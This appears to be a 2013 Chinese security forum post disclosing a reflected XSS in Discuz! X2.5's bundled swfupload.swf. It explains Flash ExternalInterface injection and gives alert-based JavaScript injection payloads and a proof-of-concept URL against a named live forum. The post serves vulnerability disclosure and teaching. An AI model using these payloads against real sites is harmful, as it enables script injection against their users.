找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2574|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说9 _9 p7 @: @2 A* _( m' ~& y- q$ F
3 \  ~5 ~9 [6 a9 ]/ F$ v
flash.external.ExternalInterface.call($methodName, $parameter)
2 N* q$ r4 J& W8 f' _' |- l+ {在浏览器中执行的是
+ V( N; o+ _+ n* h. t; E( A% q8 w5 S; U. t7 L
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}, Z" l3 o) q$ V# {! l# x. X
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
1 y1 W$ |$ E2 ?0 `' i  K' G. p6 K+ q1 P6 i; h& c0 _8 G. G
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
! S' X7 O4 _$ L" P6 B$methodName = a())}catch(e){alert(/xss/)}//
7 b$ O1 @, D9 y5 Y3 R" |8 `结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。" o! x6 B" x' _( o8 @* Z# w! |5 F* H
" v. b3 q: N6 n% p* A! }
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }" c! M+ q' @, n
; @. B1 v$ I% c+ p! K/ _+ g+ H# y
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )' N( p" p7 L  B0 m
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
- Y: A8 h/ R$ f1 l( ~" d
+ ]; a/ f' w5 U" O, a+ G3 v) j0 {( t* ]  B! m6 N# {
; L! B2 F' U* U9 \
漏洞文件:upload\static\image\common\swfupload.swf
5 ?) O* {8 P+ ^/ @5 q9 W- i, \; w4 @
" Z2 |' J! j4 T# @( n: t原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf; W/ P  Q$ U& N2 ]5 Q3 b% v3 `

5 r7 O+ O- A, z! K& U5 |2 K! s+ X7 a& }$ P: ]/ q
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
7 ]" P! @# m* h" O9 q: v/ L, i9 O1 G8 M

+ C- E7 W3 O: O  F. `3 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表